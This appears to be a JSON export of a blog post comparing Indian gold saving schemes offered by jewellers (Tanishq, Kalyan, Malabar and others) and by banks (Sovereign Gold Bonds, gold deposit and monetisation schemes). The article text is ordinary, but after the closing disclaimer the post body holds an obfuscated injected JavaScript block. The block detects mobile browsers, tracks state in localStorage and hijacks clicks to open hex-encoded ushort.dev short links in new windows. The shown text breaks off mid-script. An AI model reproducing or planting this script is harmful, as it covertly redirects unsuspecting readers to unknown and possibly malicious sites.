{"id":5840,"date":"2026-01-22T12:34:35","date_gmt":"2026-01-22T12:34:35","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=5840"},"modified":"2026-01-22T12:34:36","modified_gmt":"2026-01-22T12:34:36","slug":"gold-savings-scheme","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/","title":{"rendered":"Jeweller or Bank? The Gold Saving Schemes Indians Are Choosing in 2026"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#What_is_Gold_Saving_Scheme\" >What is Gold Saving Scheme?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#Best_Gold_Saving_Scheme_in_India_%E2%80%93_2026\" >Best Gold Saving Scheme in India &#8211; 2026<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#Which_are_the_Best_Gold_Schemes_by_Jewellers_in_2026\" >Which are the Best Gold Schemes by Jewellers in 2026<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#Gold_Investment_Schemes_By_Jewellers_2026_An_Overview\" >Gold Investment Schemes By Jewellers 2026: An Overview<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#Which_are_the_Best_Gold_Schemes_by_Banks_in_2026\" >Which are the Best Gold Schemes by Banks in 2026<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#What_Should_You_Choose_Jeweller_Gold_Schemes_or_Bank_Gold_Schemes\" >What Should You Choose: Jeweller Gold Schemes or Bank Gold Schemes<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#Gold_Schemes_in_India_FAQs\" >Gold Schemes in India: FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/\">Personal Finance<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Jeweller or Bank? The Gold Saving Schemes Indians Are Choosing in 2026<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Gold is a popular investment in India because it&#8217;s easy to sell and stays valuable even when the economy isn&#8217;t doing well. But buying gold can be tough for most people. Rising gold prices have made lump-sum purchases difficult. Gold saving schemes address this by allowing individuals to invest fixed amounts monthly, making gold accumulation more structured and accessible. With both jewellers and banks offering these schemes, choosing the right option in 2026 is important.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us see how the best gold-saving schemes make acquiring gold more affordable for everyone.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_Gold_Saving_Scheme\"><\/span><strong>What is Gold Saving Scheme?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A gold saving scheme is a structured product usually offered by jewellers and banks, where you invest a fixed amount every month for a set period, typically 10 to 12 months.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The gold investment scheme helps you build a corpus that can later be redeemed for gold jewellery, coins, or bars. Many gold schemes by jewellers also offer added gold scheme benefits, such as a bonus instalment or discounts on making charges. This makes them popular for planned purchases like weddings and festivals.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>How Online Gold Saving Schemes Work<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You enrol with a jeweller offering a gold savings scheme and select a monthly instalment amount that suits your budget.<\/li>\n\n\n\n<li>You pay fixed monthly instalments, such as \u20b91,000 or \u20b95,000, throughout the chosen tenure, usually 10 or 11 months.<\/li>\n\n\n\n<li>Your payments accumulate over time, functioning as a disciplined gold monthly investment scheme that helps manage price fluctuations.<\/li>\n\n\n\n<li>At maturity, the accumulated amount is redeemed for gold, often with additional benefits like a free bonus instalment or reduced making charges.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Best_Gold_Saving_Scheme_in_India_%E2%80%93_2026\"><\/span><strong>Best Gold Saving Scheme in India &#8211; 2026<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Gold savings schemes in India vary widely in structure and benefits, depending on whether they are offered by jewellers or banks. While jeweller schemes focus on facilitating jewellery purchases, bank schemes treat gold as a financial asset.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Below is a curated list of the most popular gold savings schemes in India for 2026, categorised by jeweller-led and bank-led options to make comparison easier.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Top Gold Savings Schemes by Jewellers<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Tanishq Golden Harvest<\/li>\n\n\n\n<li>Kalyan Jewellers Gold Scheme<\/li>\n\n\n\n<li>Malabar Gold &amp; Diamonds Golden Bloom<\/li>\n\n\n\n<li>GRT Jewellers Golden Eleven<\/li>\n\n\n\n<li>Joyalukkas Easy Gold<br><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Top Gold Schemes by Banks<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>State Bank of India Revamped Gold Deposit Scheme (STBD)<\/li>\n\n\n\n<li>Sovereign Gold Bonds<\/li>\n\n\n\n<li>Gold Monetisation Scheme (STBD)<\/li>\n\n\n\n<li>Punjab National Bank Gold Deposit Scheme<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Which_are_the_Best_Gold_Schemes_by_Jewellers_in_2026\"><\/span>Which are the Best Gold Schemes by Jewellers in 2026<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Among the top gold investment schemes offered by jewellers in India in 2026 are:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Jeweller<\/strong><\/td><td><strong>Scheme Name<\/strong><\/td><td><strong>Tenure<\/strong><\/td><td><strong>Minimum Instalment<\/strong><\/td><td><strong>Key Benefit<\/strong><\/td><\/tr><tr><td>Tanishq<\/td><td>Golden Harvest<\/td><td>10 months<\/td><td>\u20b92,000<\/td><td>Earn up to 75 percent of the first instalment as a jewellery discount<\/td><\/tr><tr><td>Kalyan Jewellers<\/td><td>Gold Scheme<\/td><td>11 months<\/td><td>\u20b9500<\/td><td>Assured membership discounts on selected gold ornaments<\/td><\/tr><tr><td>Malabar Gold &amp; Diamonds<\/td><td>Golden Bloom<\/td><td>11 months<\/td><td>Not specified<\/td><td>Up to 18 percent exemption on making charges<\/td><\/tr><tr><td>GRT Jewellers<\/td><td>Golden Eleven<\/td><td>11 months<\/td><td>\u20b9500<\/td><td>50 percent discount on value addition up to 18 percent<\/td><\/tr><tr><td>Joyalukkas<\/td><td>Easy Gold<\/td><td>10 to 12 months<\/td><td>Not specified<\/td><td>Up to 20 percent wastage waiver or zero making charges up to 18 percent<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Gold_Investment_Schemes_By_Jewellers_2026_An_Overview\"><\/span>Gold Investment Schemes By Jewellers 2026: An Overview<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">When choosing a gold savings scheme from jewellers, you must consider factors such as scheme tenure and overall benefits offered.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Tanishq Golden Harvest<\/h3>\n\n\n\n<ol class=\"wp-block-list\"><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The Tanishq gold scheme is a well-known gold saving scheme that runs for 10 months, with a minimum monthly instalment of \u20b92,000.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This gold investment scheme rewards customers with up to 75 percent of the first instalment as a jewellery discount at maturity, making it one of the most trusted gold schemes by jewellers. Payments must be made on time, as missed instalments can cause the scheme to lapse. Among gold schemes in India, it is often considered by buyers looking for a reliable gold monthly investment scheme.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. Kalyan Jewellers Gold Scheme<\/h3>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\"><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The Kalyan gold scheme is an 11 month gold savings scheme that allows customers to start with monthly instalments from \u20b9500.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This gold investment scheme includes jewellery discounts at maturity and additional benefits on diamond and studded jewellery, depending on membership tier. It is commonly chosen by families planning weddings, as it helps average gold prices over time.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When comparing which gold scheme is best for long-term purchases, this remains one of the popular gold schemes by jewellers.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. Malabar Gold &amp; Diamonds Golden Bloom<\/h3>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\"><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The Malabar gold scheme follows an 11 month structure and focuses on savings through reduced wastage and making charges rather than upfront discounts.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This gold saving scheme also averages gold rates over the investment period, offering protection against price volatility. Customers can exit the plan after six months if needed, adding flexibility to this gold monthly investment scheme. It is often counted among the best gold schemes in India for advanced jewellery planning.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. <strong>GRT Jewellers Golden Eleven<\/strong><\/h3>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\"><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The GRT gold saving scheme is an 11-month gold investment scheme with instalments starting as low as \u20b9500. It offers discounts on wastage and value addition on gold, diamond, and platinum jewellery at maturity.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This scheme also allows both value-based and weight-based accumulation, giving customers flexibility. Among gold schemes by jewellers, it is preferred by buyers seeking a simple structure and predictable benefits.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5. Joyalukkas Easy Gold<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The Joyalukkas Easy Gold plan is a 10-month gold saving scheme starting from \u20b91,000 per month. This gold investment scheme offers zero making charges up to a fixed percentage on gold and silver jewellery, with additional benefits on higher monthly amounts. Payments can be made both online and in-store, and redemption is allowed on a wide range of jewellery. It is widely used during festive and wedding seasons as a practical gold monthly investment scheme.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What are the Benefits of Gold Schemes by Jewellers?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Gold Schemes by Jewellers in India offer unique benefits:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>You can pay a fixed amount every month, and the jeweller adds an extra instalment. At the scheme&#8217;s end, you can use the accumulated money to buy gold jewellery from the same jeweller.<\/li>\n\n\n\n<li>You can use your invested amount to buy gold coins, but cash redemption is not an option under this scheme.<\/li>\n\n\n\n<li>Some jewellers offer discounts on making charges, wastage, or even a complete waiver as part of their gold-saving schemes.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Which_are_the_Best_Gold_Schemes_by_Banks_in_2026\"><\/span>Which are the Best Gold Schemes by Banks in 2026<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In India, banks such as State Bank of India, Punjab National Bank, and Bank of Baroda provide regulated gold schemes in India that suit investors seeking safety, liquidity, and long term value.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Check out the list of the <a href=\"https:\/\/shoonya.com\/blog\/top-private-banks-in-india\/\" type=\"link\" id=\"https:\/\/shoonya.com\/blog\/top-private-banks-in-india\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">top 10 private banks in India<\/mark><\/a><\/em><\/strong>!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Comparison of Gold Schemes by Banks<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Scheme<\/strong><\/td><td><strong>Tenure<\/strong><\/td><td><strong>Minimum Deposit<\/strong><\/td><td><strong>Key Benefit<\/strong><\/td><td><strong>Redemption<\/strong><\/td><\/tr><tr><td>SBI Revamped Gold Deposit Scheme (STBD)<\/td><td>1 to 3 years<\/td><td>10 grams (approx \u20b980,000+)<\/td><td>0.5 to 0.6 percent annual interest<\/td><td>Gold or cash<\/td><\/tr><tr><td>Sovereign Gold Bonds<\/td><td>8 years (exit after 5 years)<\/td><td>1 gram (approx \u20b97,500+)<\/td><td>2.5 percent annual interest plus gold appreciation<\/td><td>Cash at maturity<\/td><\/tr><tr><td>Gold Monetisation Scheme (STBD)<\/td><td>1 to 3 years<\/td><td>10 grams<\/td><td>0.5 to 1 percent interest<\/td><td>Gold or cash<\/td><\/tr><tr><td>PNB Gold Deposit<\/td><td>Varies<\/td><td>Physical gold<\/td><td>Interest paid in cash or gold<\/td><td>Gold or interest<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">An Overview of Top Gold Schemes by Banks&nbsp;<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Revamped Gold Deposit Scheme (RGDS)<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The Revamped Gold Deposit Scheme allows individuals to deposit idle physical gold with banks for short-term tenures of 1 to 3 years. This gold investment scheme accepts a minimum of 10 grams with required purity and pays interest of around 0.5 to 0.6 percent per year.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Interest can be received in cash or gold, and redemption is available in gold or its cash equivalent. Following RBI changes in March 2025, longer tenure options were discontinued, making this suitable mainly for those holding unused physical gold.<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Sovereign Gold Bonds<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bonds-in-india\/\" type=\"link\" id=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bonds-in-india\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Sovereign Gold Bonds<\/mark><\/a> are government-backed gold investment schemes issued through the Reserve Bank of India. These bonds track the market price of gold and offer 2.5 percent annual interest on the invested amount.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The tenure is eight years with an exit option after five years, and capital gains are tax-free at maturity. Among gold schemes by banks, this is often considered the most efficient option for long-term investors who want gold exposure without storage risks.<\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Gold Monetisation Scheme<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The gold monetisation scheme enables individuals to deposit physical gold with banks for one to three years and earn modest interest. This gold investment scheme removes storage and security concerns while allowing redemption in gold or cash.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Since 2025, only short-term deposits are available under this scheme, with assaying charges usually payable by the depositor.<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Other Bank-Linked Gold Options<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Banks also facilitate gold ETFs, gold mutual funds, and digital gold products that function as price-linked gold investment schemes. These options do not involve jewellery purchases and differ clearly from gold saving schemes offered by jewellers.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/blog\/gold-etf-vs-physical-gold\/\" type=\"link\" id=\"https:\/\/shoonya.com\/blog\/gold-etf-vs-physical-gold\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Physical gold vs gold ETFs<\/mark><\/a> &#8211; know which one to choose.<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In cities such as Amritsar, branches of SBI and PNB support most gold schemes by banks, allowing investors to compare liquidity, tax treatment, and overall suitability.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What are the Benefits of Gold Schemes by Banks&nbsp;<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Earn interest on gold holdings through regulated bank gold schemes without selling your gold.<\/li>\n\n\n\n<li>Eliminate storage, theft, and purity risks associated with holding physical gold.<\/li>\n\n\n\n<li>Benefit from tax efficiency, including capital gains exemptions in specific schemes.<\/li>\n\n\n\n<li>Gain liquidity by using gold or gold-backed instruments as collateral for loans.<\/li>\n\n\n\n<li>Convert idle gold into a productive financial asset linked to gold price appreciation.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_Should_You_Choose_Jeweller_Gold_Schemes_or_Bank_Gold_Schemes\"><\/span>What Should You Choose: Jeweller Gold Schemes or Bank Gold Schemes<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The choice between jeweller gold schemes and bank gold schemes depends on how you view gold in your financial life.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jeweller gold savings schemes are suitable for those planning a specific jewellery purchase. They offer convenience, price averaging, and purchase-linked benefits such as making charge discounts. However, they are tied to a single brand, are unregulated, and do not offer financial returns beyond purchase incentives.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bank gold schemes position gold as a financial asset rather than a consumption product. Options such as Sovereign Gold Bonds and gold deposit schemes are regulated, offer interest or tax benefits, and remove concerns around storage and purity. These schemes are better suited for long-term investors seeking gold exposure without buying physical jewellery.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ultimately, jeweller schemes support tradition-driven purchases, while bank schemes align with structured wealth planning. The right choice depends on whether gold is being bought for wearing or for wealth preservation.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"17-gold-schemes-in-india-faqs\"><span class=\"ez-toc-section\" id=\"Gold_Schemes_in_India_FAQs\"><\/span>Gold Schemes in India: FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1744890884695\"><strong class=\"schema-faq-question\"><strong>Which one is the best gold-saving scheme?<\/strong><\/strong> <p class=\"schema-faq-answer\">Selecting the best gold-saving scheme depends on individual preferences. It mainly depends on whether you choose a scheme offered by jewellers or banks in India. You should consider factors like minimum contribution, scheme tenure, and the type of benefits offered before deciding.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1744891018870\"><strong class=\"schema-faq-question\"><strong>What is the government&#8217;s gold-saving scheme?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Government of India offers gold-saving schemes such as the Sovereign Gold Bond Scheme and the Gold Monetisation Scheme, which are regulated and focused on gold as an investment rather than jewellery purchase.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1744891031648\"><strong class=\"schema-faq-question\"><strong>What is gold savings?<\/strong><\/strong> <p class=\"schema-faq-answer\">Gold savings involve saving money in gold through physical gold or gold-related instruments. It helps diversify portfolios, hedge against inflation, and preserve wealth for long-term goals.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1744891043174\"><strong class=\"schema-faq-question\"><strong>Do gold saving scheme have tax benefits?<\/strong><\/strong> <p class=\"schema-faq-answer\">Yes, some gold saving scheme offer tax benefits. For example, the Sovereign Gold Bond Scheme provides tax exemption on capital gains at maturity, and the Gold Monetisation Scheme also offers tax-related benefits as per prevailing rules.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1744891058127\"><strong class=\"schema-faq-question\"><strong>Which is the best plan to invest in gold?<\/strong><\/strong> <p class=\"schema-faq-answer\">Sovereign Gold Bonds are considered one of the popular long-term gold investment options in India, as they offer annual interest along with tax benefits when held until maturity.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1744891078215\"><strong class=\"schema-faq-question\"><strong>Which gold fund is best?<\/strong><\/strong> <p class=\"schema-faq-answer\">Gold mutual funds and gold ETFs allow investors to gain exposure to gold prices without holding physical gold. Performance varies based on market conditions and fund structure, so outcomes depend on the chosen fund.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const 